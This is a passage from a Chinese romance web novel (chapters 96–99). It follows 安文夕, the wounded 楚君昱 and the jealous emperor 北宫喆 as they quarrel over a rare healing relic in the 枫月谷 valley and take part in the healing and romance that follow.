安文夕抽出丝帕将楚君昱嘴角的血迹拭去,这个人还真是傻,三番五次的为她挡去巨兽的攻击,弄的遍体鳞伤,安文夕心中突然涌出一股心疼来。 这个人一直都在默默地保护着她,她欠他的,注定是还不清了…… 一只大手突然握住了安文夕拿着丝帕的手,令她蓦地一滞,楚君昱扯起苍白的唇角道:“胭脂……” “你先别说话。” 就在说话间,刚才的那只巨兽仿佛嗅到了他们的气息,慢慢从水底潜到岸上来,锋利的爪子猛烈的朝安文夕袭来。 安文夕看着将要落下的利爪,咬了咬牙,径直扑在楚君昱身上。 “胭脂!”楚君昱惊呼,她明明可以躲过去的,怎么那么傻! 安文夕闷哼一声,趁着这个空档飞快的将楚君昱带离。 不远处立着的人影还保持着出掌的姿势,然后慢慢的握紧了拳头,冷冷瞧着这一幕。 安文夕带着楚君昱躲进了梅花丛中,从怀中取出千年龙魄送到楚君昱手中道:“这是你要的千年龙魄。” 楚君昱看了眼并没有接,凝视着她道:“胭脂……你可否答应……答应我一件事。” 安文夕蹙了眉,“你重伤在身,先别说话。” “不,我不说……我怕……以后就没机会说了。” 安文夕抿了抿唇,大致猜出了他想说什么。 “胭脂,从我……从我第一次见你,我就喜欢你……我想……我想带你走……”楚君昱一句话还没说完,又喷出一口鲜血来。 安文夕忙帮他擦干净血迹,挽眉道:“别说了,回头再说好不好。” “胭脂……若是我们能出谷,你能不能……能不能嫁给我?”楚君昱仿佛鼓足了巨大的勇气才说出了这句话。 安文夕手下的动作蓦地一顿,抬眉看向他,张了张口,却吐不出一个字来。 楚君昱苦涩的笑了笑,“那……你就当……就当……我什么也没说。” 半晌,安文夕垂了眼睑,咬了咬唇道:“你知道的,我并非完璧之身。”不论怎样,现在的她已经配不上他了,他这般优秀,理应拥有更好的女人。安文夕蓦地意识到,她自卑了。 “胭脂,我……我不在乎这个,答应我好么?” 安文夕的心蓦地一动,紧接着而来的是排山倒海的疼痛,她咬了咬牙,缓缓握住他的手道,“我愿意。” 北宫喆睫毛轻颤,心中痛意肆意蔓延,她愿意,她怎么愿意,她已经是他北宫喆的女人了!他蓦地出手,将气势已去大半的巨兽一掌卸去摇摇欲坠的头颅。 “别说话,我们一定会出去的。”安文夕安慰道。 楚君昱微微闭上了眼睛,他的身体他自己清楚,刚才的重创让他的内脏都移了位,他能不能撑过今晚也难说。不过,能死在她的怀中他也满足了。 安文夕看着他静逸的面庞,心中一惊,喃喃道:“我们出去了,就用这千年龙魄救你!” “朕要看看你们如何出的去!”北宫喆冰冷的声音从安文夕身后想起,袖袍一挥,安文夕手上的千年龙魄赫然出现在了他的手中。 第96章 是你在逼我 第九十六章 是你在逼我 安文夕蓦然回头,看到许久未见的北宫喆立在一侧,衣袂猎猎,墨发肆意飞扬,紧抿的唇角无声的泄露了他的愤怒,安文夕蓦地一滞,她将视线放到他手上的千年龙魄上,轻声道:“那是我的,你将它还我!” 北宫喆眼底似讥讽似凄凉,眸光掠过手上的千年龙魄看向一旁的楚君昱,然后将视线停驻在安文夕身上,冷冷哼道:“想拿它去救你的姘头?” 姘头?安文夕讥讽的扯了扯嘴角。 “你抢过去莫不是也要去救你的姘头?” 北宫喆闻言脸色蓦地一变,仿佛连周遭的空气都冷了几分。 安文夕勾唇,他可以肆意的侮辱她,她这才说了一句,他就不能忍受了么? 安文夕不等他反应,赫然出手,直取他手中的千年龙魄。 北宫喆触摸到她冰凉刺骨的手,睫毛微颤,眸光深邃,将千年龙魄揣进怀中。 安文夕咬牙低唾一声:“卑鄙!” 那是楚君昱拼尽性命才拿到的,他有什么资格要! 北宫喆拧眉,是不是他不论做什么在她眼中都是卑鄙可耻的? “我带他出去,但是这片千年龙魄归我。” “归你?凭什么!”安文夕冷笑,身形一闪,再次掠至北宫喆面前,右手成勾,直探北宫喆的胸膛。 “你以为没有你,我们就出不去了么!” 北宫喆猛地抬起右手去挡住她的攻击,安文夕视线落到他的左手上,有些发暗的血渍因为天气太冷而没有凝固,她的双眸内飞快的掠过一抹浮光。 “你不是朕的对手。”北宫喆一把攫住安文夕的手道。 安文夕咬着下唇,左手突然攻向北宫喆的眼睛,趁着他防御的功夫,将那只被他禁锢的手脱离他的控制。 因为用力过猛,后背上的伤口被狠狠的撕开,痛的安文夕紧锁了眉,下一瞬她大胆的探向北宫喆的穴道。 “想点朕的穴道,你还差得远!”北宫喆将她推开,同时也发现了她背部的异样,眸光蓦地一凛。 安文夕不甘的咬着牙,想要再次出手,耳边传来北宫喆冷冷的声音道:“够了,安文夕,朕的耐心是有限的,不要逼朕对你动手。” 看着她眼底的狠绝,北宫喆心口被扯得生疼,她为了另一个男人跟他拼命,可有想过他的感受? “你动的手还少么?”安文夕冷呲,她身上的伤痕几乎全部拜他所赐! 她敛了眼眸,“现在不是我逼你,是你在逼我!” 安文夕身子有些微微发颤,本该痛楚不堪的心脏因为全身冻得失去知觉反而没有感觉到痛意。 北宫喆微微一震,眼前的女子眼底盛满了恨意,熟悉的脸庞此时却陌生的厉害。 看着安文夕略微有些紫的发黑的唇色,知道她是在强撑。 若是他没有猜错,她已经泡在冰水中、穿着这身湿衣已经整整两个时辰了。 北宫喆眸色一沉,抬手封了安文夕的穴道。 “你放开我!”安文夕咬牙,妈.的,这个变态总是喜欢封了她的穴道! 北宫喆自觉忽略她的喊叫,运起内力,将她身上的湿衣烘干。 随着衣服的慢慢变干,安文夕浑身升起一阵暖意,仿佛冷藏许久的心脏也慢慢开始回温,安文夕睫毛轻颤,原来他点她的穴道就是为了为她烘干衣服。 他依然像以前那般细心,总是能够发现一些被忽略的小细节。 安文夕原本眼底的恨意慢慢淡去,轻轻垂下了眼睑。 呵……她真的是傻,这个时候竟然想这些不相干的事情,安文夕眼底蓦然清明。 北宫喆将安文夕一把捞起,走进躺在地上的楚君昱,抬眸看向她道:“千年龙魄归我,救他;否则,让他给这只巨兽陪葬吧!” 安文夕这才发现那只巨兽已经被卸去了整颗头颅,而湖面因为巨兽的死亡而结了一层厚厚的冰,冰面上泛着丝丝缕缕血红。 “怎么样,考虑好了没有?” 安文夕咬了咬唇,如今楚君昱伤得这样重,只怕就算出去,没有千年龙魄也难以…… 北宫喆眼底飞快的划过一抹讥笑,无声的叹了口气,“不说话朕就当你是默认了!” 北宫喆提起地上的楚君昱,带着安文夕走进梅林,来到一处梅树下,北宫喆将楚君昱和安文夕放下,从腰间抽出短刀,毫不犹豫的在他还微微渗着血水的伤口上再次划了一刀,殷红的鲜血立即涌了出来,慢慢渗入土地之中。 安文夕蹙着眉,紧盯着北宫喆流血的左手,不过一会工夫,刚才那块土地被鲜血浸湿一片,这时奇异的现象突然出现了,沾满北宫喆鲜血的地方突然出现了刺眼的光芒。 就在她愣神之际,一只温暖的大手拉住了她的手。 “走!”在那光芒还未消失之际,北宫喆将他们二人带出了这个空间。 西山梅林入口之处,月无双一脸焦急的张望着梅林深处,不停地踱着步子,月清绝更是一脸凝重,而月无痕眸光深深,不知在想些什么。 早在北宫喆来之前,袭匀就已经将欢凉一掌劈晕,脚下抹油遛了,他直觉小师妹不会有事,他们在这里只会暴露她现在的身份! 而夜影仍然待在楚君昱消失的地方,眼睛一眨不眨的盯着地上,好像下一刻楚君昱就会再次出现一般。 不远处传来一阵脚步声,江向晚跌跌撞撞跑来,看着众人一脸凝重的神色,拍着胸脯呼吸了两口气道:“皇上呢?” 这一个月来,她的身体越来越不如以前了,经常会出现昏迷,好像随时都会死去一般,北宫喆不忍她如此,抛下国事,将她带到枫月谷来求医月谷主,谁知刚刚来到枫月谷他就抛下了她,她终于耐不住性子打听他的行踪,然后跟随青衣小僮来到了这里。 看见来人,月无双微不可见的哼了一声,没理她继续面满愁容的踱着步子。月清绝满心思都在想着万一北宫喆出不来,一会如何去救他们,根本就没有听见江向晚的话,至于月无痕,就更是不屑回答她了。 久久没有听到回答,江向晚脸色一僵,原本发白的脸上更加白了几分,张了张口,终究没有再问出口。 她握了握拳,就在犹豫是否回去的时候,前方不远处的梅林中闪现一片幽光,在她还没有明白之际,她身旁的月无声等人立即冲了过去。 她愣了愣,也跟了上去。 只见北宫喆怀中揽着安文夕,另一只手提着晕过去的楚君昱,而他放在安文夕腰间的手依然流着血。 “公子!”夜影立即抱住了浑身是血的楚君昱,眼底闪现血红,轻轻地将他放在地上,生怕碰到了他身上的伤口。 “嚯!”夜影蓦地出剑,抵在安文夕脖子处,恶狠狠道:“妖女纳命来!”自从殿下遇到这个妖女,一准没有什么好事发生。 北宫喆黑瞳骤缩,抬手折断横在安文夕脖子处的剑刃,看了她一眼冷声道:“这就是你拼命要救的人?” 夜影也不再反抗,背起楚君昱,哀求月无痕道:“求月谷主救救我家公子。” 月无痕沉声道:“在我枫月谷出了事,老夫自然会负责,绝儿,带玉公子去我的药房。” 月清绝立即走过去,帮着夜影一起搀住楚君昱。 月无痕打量了眼唇色发白的北宫喆,然后将视线悠悠落到他仍然流血的手上,冷哼一声。 恶龙潭,必须要用帝王血来引路才能打开那异世空间,想必这一来一回,他废了不少血,可是,这关他何事? 江向晚将目光紧紧锁在被北宫喆紧紧抱在怀中的安文夕身上,怪不得他急不可待的来了这里,原来这里有让他牵挂的人罢了,她甚至觉得他是知道了安文夕在这里,才借着为她瞧病的由头,来这里见她! 她紧紧的攥住了衣角,但由于她的身体虚弱,连这点力道她也使不出了,脚下像是生了根一般,再也迈不动分毫。 “夕姐姐受伤了在流血!”月无双一声惊呼成功的吸引了众人的视线。 北宫喆看了眼脸色越来越白的安文夕锁了眉头,然后抱起她走向主院,经过江向晚身边时,沉声道:“你怎么来了,不是让你在房中静养么?” “我……” “这里风大,赶紧回去。”虽是责问,却带了丝温柔。 安文夕扯起嘴角,这就舍不得了。 她的心蓦地一抽,那相思蛊又在折磨她了! 北宫喆不动声色的打量了眼安文夕,将她的神色尽收眼底,明明就是吃醋了,心里却将这归结于相思蛊在作祟,她何时才能认清自己的心? “夕姐姐,你没事吧?”月无双立即赶来,一脸关切的看着安文夕,看着她苍白的脸,心想她一定是受了重伤走不了路,不然怎么在喆哥哥怀里? 北宫喆将安文夕放下,立即吩咐人煮了一大锅姜汤为她驱寒,谁知安文夕两晚姜汤下肚,立即昏迷不醒了。 “这是怎么回事?”北宫喆简单的包扎了下手,沉声问道。 月无双探了探脉道:“夕姐姐这是由于寒气入体时间太长,加之服用了过多的姜汤所致,她睡一觉就会好了。” 而另一处,月无痕探着楚君昱的脉搏,微微拧了眉。 第97章 她不配 第九十七章 她不配 “月谷主,我家公子他……”夜影担忧道。 月无痕瞧了眼他,没有开口,向玉公子这种情况,最好是用千年龙魄护住心脉,不仅可以起死回生,还可以增加内力。 半晌,他道:“死是死不了,只是要费些功夫罢了。” “恳请月谷主救救我家公子。”夜影微微蹙了眉,还有一个月就要过年了,殿下他还能不能顺利赶到西楚? “我先开几副药吊住他的命,至于身体么,需要慢慢恢复。” “有劳月谷主。” “这里有些伤药,你先将他的皮外伤处理一下。”月无痕扔给了夜影几个小瓷瓶,然后转身迈向里间去配药。 “皇上,不好了,不好了。”雪嫣惊慌的跑到安文夕的院子, 北宫喆将安文夕的手塞进被褥里面,不悦的拧了眉,冷着一张脸看向来人,“发生了何事?” 雪嫣感觉周遭有一种强大的无形压力,竟让她不敢抬头,她嗫嚅道:“皇,皇上,我家小姐……她晕倒了。” 听她说完,北宫喆本就冰冷的脸上又寒了一分,“她又不是第一次晕倒了,该怎么做你不知道么,你应该去请月清绝而不是朕!” 雪嫣被北宫喆吓得脑袋一片空白,半晌才反应过来,以前只要小姐晕倒了,皇上不都是第一时间赶过去的么? “回,回皇上,月公子他已经……在了。” “罢了,朕去瞧瞧。” 北宫喆走到门口,对青衣小僮道:“让你们小姐来这里照看着。”然后又不放心的回头看了眼内室。 雪嫣神色一震,究竟是什么人能让皇上这么上心,他直觉那个人在皇上心中比她家小姐重要,可惜刚才她没有看到那个人的样貌。 小姐回来之后,精神就越发的不济,将自己一个人关在了屋子里,要不是她进去那东西,都不知道小姐晕倒了,能让小姐这么心神不安的人只有一个,难道那个人是她? 想到这里雪嫣心中大骇,如果是那个女人的话,那就大事不妙了! 北宫喆进了江向晚所在的厢房,月清绝正为她探着脉,看见北宫喆来了,月清绝凝眉道:“如今引魂丹对她作用不大,不如早点将引魂丹取出来,不然也只会白白浪费引魂丹的功效。”他一直都觉得谷里的引魂丹好像爹娘另有用处。 北宫喆看了眼躺在榻上的江向晚,然后从怀中取出千年龙魄,看向月清绝。 月清绝惊讶的合不拢嘴,他和左言潜进西楚皇宫将近一月,连千年龙魄的影子也没有看到,当即问道:“这……你哪来的?” 北宫喆勾唇,“这得问你家老爷子了?” 月清绝瞬间明白,“你是说你在恶龙潭拿到的?”他不禁暗叹,这老爷子藏得也太深了,连他都瞒着! 月清绝伸手欲拿北宫喆手上的千年龙魄,结果被北宫喆一晃而过。 “怎么?” 月清绝干笑两声,“我就想看看,看看……” 北宫喆一扬手,扔给月清绝道:“你看看什么时候将它植入晚儿体内?” 月清绝端详片刻,将千年龙魄往袖袍内一放,北宫喆眸光一凛,立即攫住了月清绝的手。 月清绝一阵吃痛,立即告饶,“我就想跟你开开玩笑,开玩笑,你看你还当真了。” 北宫喆眸光微缩,从月清绝手上拿过来千年龙魄,冷道:“这种玩笑可开不得!” 月清绝无所谓的耸耸肩道:“我没办法将千年龙魄植入她体内,这件事,你还得去求老爷子。” 北宫喆闻言眸光一暗,去求月无痕? 门口传来一阵响动,二人皆转眸看去,只见月无痕已经踏门而入,冷哼道:“这千年龙魄为我枫月谷所有,你还没有权利决定去救谁!” 北宫喆知道他是在为引魂丹一事生气,抿了抿唇道:“我用引魂丹换这千年龙魄。” 月无痕抬眼看着他道:“你小子倒是聪明,这两件都是枫月谷的东西,你当老夫是傻子么?” “朕以为,这引魂丹对您来说更重要一些,您觉得呢?”北宫喆眼底飞快的划过一抹狡黠。 月无痕横眉,这个臭小子竟敢威胁他! 他冷哼一声,“就算你有了这千年龙魄,没有老夫,你一样救不了她。” 北宫喆抿了抿唇角,看着月无痕板着的脸,始终说不出求字来。 月无痕看着北宫喆极度傲娇的嘴脸,扬了扬胡子,撇了撇嘴,瞬间气的想骂人,就没见过求人办事还有这么拽的! 半晌,北宫喆将手中的千年龙魄递给月无痕,算是无声的向他说明了他在求他。 月无痕火大的一拂袖袍。 安文夕感觉身上一阵冷一阵热,浑浑噩噩的睁开了眼睛,月无双立即凑了上去,一脸关切道:“夕姐姐,你没事吧。” “我还好。” 安文夕略略皱眉,一把掀了身上的被子,跌跌撞撞的下了床,脚步虚浮着朝药房走去。 “夕姐姐……”月无双立即走过来搀着她。 “你要去哪?我带你去。” “无双,去找玉公子。” “玉公子?”月无双瞥了眼她只着了袜子的双脚微微一滞,她醒来,连鞋子都忘记穿,就是急着去找玉公子? 月无双咬了咬唇道:“夕姐姐,你难道喜欢……玉公子?” 好像玉公子对夕姐姐也十分上心,这一次为了护她周全,甚至不惜豁出性命来,月无双慢慢阖了眼睑,玉公子和夕姐姐站在一起,真是郎才女貌,登对的紧! 安文夕猛然一惊,看向月无双,飞快的在她的眼底捕捉到了一抹失落,难道,无双喜欢楚君昱? 她怎么没有看出来,还是无双这丫头根本就没有意识到自己对楚君昱有了好感? 安文夕愣了一瞬,自己捡了鞋穿上,问月无双道:“你是希望给玉公子用千年龙魄,还是给江向晚用?” “自然是玉公子。”月无双斩钉截铁道,然后不耐的吐出一句话来,“江向晚,她配么?” 这千年龙魄既然是从她家后院找到的,就是她的东西,怎么可能白给江向晚! 安文夕勾起了苍白的唇,道:“我们这就去吧。”她怕去晚了,北宫喆就将千年龙魄植入了江向晚体内。 “夕姐姐,你这去的也不是药房的方向。” “去江向晚的厢房。”她突然改变了主意,先把千年龙魄拿过来再说。 安文夕刚走了几句,发觉更加的头重脚轻了,月无双蹙眉,“夕姐姐,要不无双去吧,你先好好休息。” 安文夕摇了摇头,苦涩的笑了笑,没想到上次跌进碧波湖倒有什么不适,如今反而染了风寒,她现在真是越来越弱不禁风了! 她哪里知道,那恶龙潭中的湖水并非一般湖水,更何况她还在里面泡了许久。 雪嫣远远地看到有人朝这边走来,待离得近了,猛然发现来人竟是安文夕,她的眉心突突的跳了两下,咬了咬唇,果然是她! 她赫然出手拦住安文夕二人道:“你们不能进去!” 月无双一听,立即火大起来,横眉道:“反了你了,一个小小的奴才在我枫月谷的地盘竟敢拦着本小姐!”月无双一把掀开了她。 雪嫣自觉拦不住她,眸光一敛,她的身后立即窜出两位黑衣禁卫来。 呵……这江向晚这里也是卧虎藏龙! 月无双鄙夷的瞧了眼雪嫣,冷冷道:“在我枫月谷对本小姐动手,可要考虑好后果,我记得你们好像是来求医的!” 雪嫣闻言,眸光一黯,有些不情愿的让出了身子。 “哼,算你识相。” 月无痕刚为江向晚把了脉,正打算取出江向晚体内的引魂丹,月无双立即扑了过来,惊呼道:“爹爹,等一下!” 北宫喆抬眉,看到脸色惨白的安文夕,睫毛一颤,收紧了手中的千年龙魄。 “怎么了?”月无痕看着月无双道。 “爹爹,那千年龙魄是我们枫月谷的,凭什么要给江向晚用?” “无双,那千年龙魄本就是大夏皇室代代相传的至宝。” “既然它现在在枫月谷,就是我枫月谷的东西。”月无双说道最后,声音渐渐小了下去。 “无双,不得胡闹!”月无痕斥道。 “反正我就是不同意给江向晚用!”引魂丹给她用,她忍了,如今连这千年龙魄也要给她用么? “无双!”北宫喆皱了眉头。 安文夕趁着他们说话的空隙,掠身一闪来至江向晚榻前,右手探到江向晚脖颈处,冷冷道:“要么给我千年龙魄,要么我现在就扯断她的脖子!” 北宫喆紧抿着嘴角,丝毫没有给她的意思,安文夕右手立即加了分力道。 “安文夕,楚君昱命大得很,他压根用不着千年龙魄,你明白么!” “这千年龙魄是他拼了命才拿到的,你凭什么据为己有?就算他用不着,也是他的!” “你别忘了,若不是朕将他带出来,他如今早死了!更何况,晚儿的心是你挖的,你不觉得你应该负责么?”北宫喆气的心疼,他竟然和她讲起了道理来。 安文夕一手拧着江向晚的脖子,一手探上自己的胸口,讥讽道:“给我千年龙魄,我还她一颗心便是!” 北宫喆眸光一凛,气得双拳握的咯咯作响,她怎么就这么倔! 第98章 贪恋 第九十八章 贪恋 “我等着你的答案。”安文夕眸光深深,后背冒出了阵阵冷汗,手上渐渐使不出力气。 北宫喆眸光一垂,如闪电一般掠至安文夕身侧,大手霸道的将安文夕的双手禁锢起来,安文夕浑身使不上力气来,头也晕的厉害,她根本无法摆脱北宫喆的大手,猛地踉跄两步,后背的抓痕被撕扯的痛楚不堪,倒是生生出了一身冷汗。 “都站不稳了,还逞什么能?”北宫喆手上的动作一紧,立即将她打横抱在怀中。 “啊,放开!”安文夕此时的挣扎显得有些苍白无力。 看了月无痕一眼,半晌憋出一句话来,“月老头,接下来的事情都交给你了。” 听到那句月老头,月无痕气的直吹胡子。 月无双对安文夕使了个眼色,有她在,怎么可能会眼睁睁的看着千年龙魄植入江向晚的体中。 北宫喆一走,月无痕看也未看江向晚一眼,一拂袖子走人,等那个臭小子什么时候知道了“求”字怎么写,他什么时候再来管他这破事! 月无双看了眼脸色有些苍白的江向晚,撇了撇嘴,转身欲走,月清绝兑了兑她道:“这次那小夕儿来咱枫月谷,我咋没看到那个叫欢凉的丫头?” “小夕儿?”月无双坏笑道,“你叫的这么亲热,不怕喆哥哥揍你啊!” “切,你哥我会怕他,我叫小夕儿怎么了,他已经将人家姑娘的心伤的碎成渣渣了,估计他俩也没啥可能了。” 月清绝说着有意犹未尽道:“北宫喆那个性子太不招女人喜了,你不觉得换了任何一个男人,别说是个男的,只要是个公的,做的都比他好!” 他说着瞥了眼江向晚,该断不断,必受其乱! 隐在暗处的左言嘴角抽了抽,月公子,你难道不知道我一直都在你身边么,还敢说这话,就不怕我向皇上打报告? 月无双不高的瞪了眼他,“喆哥哥怎么不好了,喆哥哥欠了江向晚一命,这是责任,而且你没有见过喆哥哥看夕姐姐的眼神,那温柔的能掐出水来,还有啊,他明明知道夕姐姐要杀他,他还对她十分放纵。怪只怪他和夕姐姐……唉……”月无双说到这里无奈的叹了口气。 夕姐姐什么时候可以放下心里的仇恨呢!还有喆哥哥,明明喜欢夕姐姐,当初为嘛把自己的老丈人给干掉呢! 月清绝拂了拂手道:“罢了罢了,咱不说他们俩这破事,我问你,欢凉那丫头呢,总不能是安文夕自己来的枫月谷吧?” 月无双在心里干笑两声,她都已经将话题绕开了,怎么她哥还惦记着这事? “哥,你老想着欢凉做什么,难不成你看上人家小姑娘了?” 月清绝呵呵一声,“你哥我是什么人,英气逼人,风流潇洒,玉树临风,一表人才,向来是万花丛中过,片叶不沾身。” 嗯,你沾的都不是叶,是花! “咱下次说话的时候能不能把前面多余的修饰语去掉?”月无双边走边摆手,不动声色的逃离了月清绝的视线。 “哎,丫头,别走哇,你还没告诉哥呢!”月清绝不耐的跺了跺脚,“你不告诉我,我也能问出来!” 月无双勾了勾唇,那你就去问吧,看看谷里的小僮是听你的,还是听我的。 夕姐姐说不想让喆哥哥知道她是凤公子的身份,她早就吩咐下人不要乱说,她的命令谁敢不听? 北宫喆抱着安文夕来到她的厢房,重重的将她扔到床上,不由分说撕开她的衣服,扬起片片残衣。 “你干什么?”安文夕紧紧的抓紧了胸前的衣服,一点点后退,后背抵到墙上,蹭到了伤口,痛得她拧了眉。 呵……抵触他! 北宫喆紧紧锁着她眼底的憎恨与厌恶,挑起她的下巴。 “你来枫月谷不就是想解了这相思蛊,难道你不知道如何解蛊么?” 安文夕蓦地一滞,抬头发现那人眼底仿佛划过一抹黯光来,心突然一阵酸涩。 趁着她垂眸之际,北宫喆一把扯下她身上的中衣,看着上面沁着的点点殷红,眸光一黯。 “啊!” “不想让朕点穴就乖乖别动!”北宫喆将她圈在怀中,拿过伤药来,轻轻的将粘在她后背的衣服一点点脱下来,原本已经处理过的伤口再次被扯开,五道抓痕,每一道都深可见骨。那一幕再次出现在他的眼前,当时她的眼神坚定而决绝,为了楚君昱,她竟连命也不要了么,他的指尖一颤。 安文夕明白了他的意图,冷冷勾唇,“不劳皇上费心。”说着往上拢了拢衣服。 北宫喆再次捉住她的手,另一只手有条不紊的取出药膏来,指尖蘸了一点轻柔的涂到她的伤口上。 指尖的轻触一点点砸进安文夕的心中,原来,她一直都在贪恋着这一抹温柔。 安文夕睫毛轻颤,咬了咬唇道:“差不多了。”然后立即穿好了衣服,看着杵在一旁丝毫没有走的意思的北宫喆,她抿了抿唇,径直走了出去。 好,既然他不走,那她走便是! 北宫喆看着她走向药房的方向,紧紧蹙了眉,身子差的要命,就急不可待的去找楚君昱? 楚君昱救了她,她就心心念念,那他对她的好,她就一点也看不到么。 北宫喆急走两步,长臂一伸,将她整个儿揽回怀中,粗鲁带回房中,掀开被子,将她塞了进去,自己坐在床榻上,铁青着脸看着她,一言不发。 安文夕索性闭了眼,扭了头不去看他。 她一躺下,头越发的沉了起来,不多一会便沉沉睡去,不曾想她这一睡便睡了整整一天一夜,北宫喆亦在她的床榻前衣不解带的照顾了她一天一夜。 “青玄,你叫无双来,她就快醒了。” “皇上……”既然瑾淑妃就要醒了,为何皇上要走了呢,他暗暗打量了眼双眸布满淡淡血丝的北宫喆,他守了一天一夜不就是想让她醒来么? 北宫喆苦涩道:“朕猜她不愿意看到朕,你去叫无双吧。” 北宫喆看了安文夕一眼,垂下了眼睑,转身离开。 “皇上,惊魂来信说,京城有异动,问您何时回宫?” 北宫喆脚步一滞,眸光深远,“朕就怕他们不动,朕这就回宫,你退下吧。” 左言身形一闪,立即消失不见。 北宫喆踱步去了江向晚处,雪嫣看到他走来,脸上浮现喜色,北宫喆脚步一顿,转身去了月清绝处。 雪嫣脸色顿时一僵,她家小姐也同样卧床不醒,皇上守着那瑾淑妃也就罢了,为何来了又走了?她担忧的走向内室,看着沉睡的江向晚蹙了眉,小姐你要是再不醒来,皇上就被人抢走了! 北宫喆转身来到了月清绝处,开口问道:“老爷子想好怎样将千年龙魄植入晚儿体内了么?” “你没看出来老爷子想让你去求他?” “朕那日不是已经求了么?” 月清绝斜他一眼,意思很明显,本公子睁着两只眼睛都没有看出来你哪里有求。 “由于你逆天而行,强行复活了江向晚,她体内的器官消耗过度,老爷子的意思是先调养一段时间,否则即便是用了千年龙魄,也达不到理想的效果。” “那就先让她待在枫月谷吧。” “你打算什么时候回宫?” “明天。”他这次本就是秘密出宫,离宫不足半月,就已经有人坐不住了! “那小夕儿……”接到北宫喆冷冽的眸光,月清绝立即改口道,“安文夕,不……瑾淑妃呢?你要带她回去么?” 北宫喆垂眸,“不了,让她留在枫月谷吧。” 相对于夏宫,这里更加安全一些。 “若是我没记错的话,楚君昱也在这里呢,你不怕……” “不是还有你么?”北宫喆鹰眸看向月清绝,暗含警告。 “呵……”月清绝拍了拍北宫喆的肩膀道,“有我在,你放心,放心。” 北宫喆转身欲走,被月清绝叫住道:“对了,那个相思蛊,你真不打算解了?” 北宫喆抿了抿唇,没有说话。 “那个东西长期留在体内可没有什么好处,再说了你想挽回人家姑娘的心,让人家姑娘重新爱上你,单靠这相思蛊可……” 北宫喆眸光一敛,月清绝立即摆手道,“我什么都没说,你要是哪天想解了这相思蛊就从我这里拿药,呵呵……” …… 安文夕眉头微拧,睁开眼睛,看着对面一脸喜色的月无双道:“我睡了多久了?” “一天一夜了,夕姐姐,你饿不饿,无双已经给你准备好了吃的,你要不要先吃点。” 安文夕还没有说话,肚子却咕咕的响了起来,她有些不好意思的笑了笑,这么算起来,她已经将近两天没有进食了,不饿才怪。 “夕姐姐,你等我一会,我这就给你拿吃的。”月无双说着一溜烟跑出了房间。 安文夕吃过饭后,得知楚君昱已经醒来,便和月无双一起去看望他。 楚君昱靠在床榻上看书,样子分外静谧,看到安文夕进来,将手中的书放下,苍白的唇角勾起了一抹笑,“你来了?” 月无双看到楚君昱的眼里从头到尾只有安文夕一人,知道他们有话要说,自己在这里也是多余,对安文夕笑了笑,“夕姐姐,你们先聊着,我去给你们沏壶茶来,还是上次的梅花茶如何?” 安文夕淡淡的点了点头,坐到楚君昱的榻前。 第99章 你不要命了 第九十九章 你不要命了 “你,现在感觉怎么样?”安文夕顿了顿,那日他伤得那么重,又足足昏迷了两日,情况应该比较糟糕。 “没事,左右死不了。”楚君昱淡笑。 “倒是你,我听夜影说你染了风寒,现在怎样了?” “不过是风寒罢了。” “那恶龙潭的湖水寒气太重,不可大意。”楚君昱凝色道。 提到恶龙潭,安文夕眸光一黯,抿了抿唇道:“对不起,那千年龙魄被北宫喆夺去了。” “这不怪你。” “胭脂。” “嗯?”安文夕蓦然抬头看向楚君昱,捕捉到了他眼底一闪而过的狡黠. “胭脂还记得那日答应我的话么?” “胭脂……若是我们能出谷,你能不能……能不能嫁给我?” 那日,他断断续续的话再次闪进她的脑海,灼的安文夕的双颊微微有些发烫。 “我……” “我相信胭脂定然不会骗我的。” “公子,药好了。”夜影端来一碗药汤放在雕花小几上,夜影看了眼楚君昱,心中一惊,殿下在他心中一向是胸襟坦白,何时这么……无耻。 楚君昱漫不经心的打量了眼药碗,又看了眼安文夕,浅浅的勾起唇来。 安文夕心中一滞,难不成他想让她喂他? 她不动声色的打量了眼他的手,并没有什么不妥,刚才她还见他用手翻书,怎么现在就端不起药碗了? 罢,毕竟是为救她而受的伤,安文夕微叹了口气,端起了药碗,搅动汤匙,舀了勺药汁,吹了吹送到他的唇边。 “烫么?”安文夕小心翼翼问道。 楚君昱微微摇了摇头,嘴角噙着淡笑,慢慢将勺中的药卷入嘴中,仿佛是在品尝美食一般,从没有想过喝药也是一种享受,他看向她的眼神也逐渐灼热起来。 安文夕蓦地垂眸,低头去搅拌碗里的药汁,过了半晌,才再次舀了一勺,送到他的唇边。 楚君昱默声喝着药,安文夕亦一勺一勺喂着。 隐在暗处的夜影忍不住凝眉,殿下不禁无耻,还十分……腹黑,可是他明明受了这么重的伤,才刚刚醒来,怎么就去…… 北宫喆怔怔的立在外面,身上的玄衣随风而摆,脸上的线条越发的冰凉起来,眼底划过痛意,冷冷瞧着室内的那一幕,和谐的刺目,她的细腻温柔深深地刻在了他的心里。 “走吧。” 月清绝看了眼内室,又将视线放在北宫喆身上,现在他终于明白世上最痛苦的事情莫过于你的媳妇就在你的面前给你戴绿帽子,而你却无力阻止。 “喂,你别多想,只是喂个药而已,又不会少一块肉。”月清绝立即追上道。 呵……只是喂药而已,可是他却从来没有享受过这种待遇,他无力的勾了勾唇。 “要不我进去,我给他喂药?” “或者,你将安文夕带走?” 月清绝渐渐有些跟不上北宫喆,心里暗唾一声,这楚君昱也真是,又没少胳膊少腿,干嘛让人家姑娘喂药,趁机占便宜也不带这么占的。 北宫喆没有回头,微微阖上了眼睛。 干冷的风吹到脸上,令他清醒不少,缓缓走出了药房,背影高大却萧寂无比。 安文夕的心口蓦地一痛,端着的药碗差点打翻,她猛地回头看向室外,那个人并没有来,为何她会心口痛? “怎么了,你没事吧?” “没有。”安文夕淡淡攒出了一抹笑。 “胭脂,既然你已经答应了我,这次和我一起回西楚吧。” 安文夕闻言,手中的动作蓦地一顿,抬眸看向他。 “胭脂,我会是你最好的盟友,我以前就说过,我来帮你复国。” 既然他想一统九州天下,为何会选择为了她舍弃一直以来的梦想? “公子……”夜影忍不住出声道。 殿下,过了年您就要大婚了,怎么能将她带回去呢? 楚君昱面上一冷,对夜影道:“你先下去。” “公子,我……” 楚君昱双眸一凛,再次看向他的目光多了丝警告。 这碗药喂了许久,终于喂完时,安文夕的手腕有些微酸,她放下药碗道:“你好好休息,我明日再来看你。” 楚君昱勾唇浅笑,“胭脂,我说的话,你先考虑考虑。” 安文夕看着他润泽的眉眼,扬起嘴角,“好,我明日给你答复。” 安文夕一走,楚君昱的脸立即冷了下来,斜了眼夜影,然后又拿起了刚才的书翻看了起来。 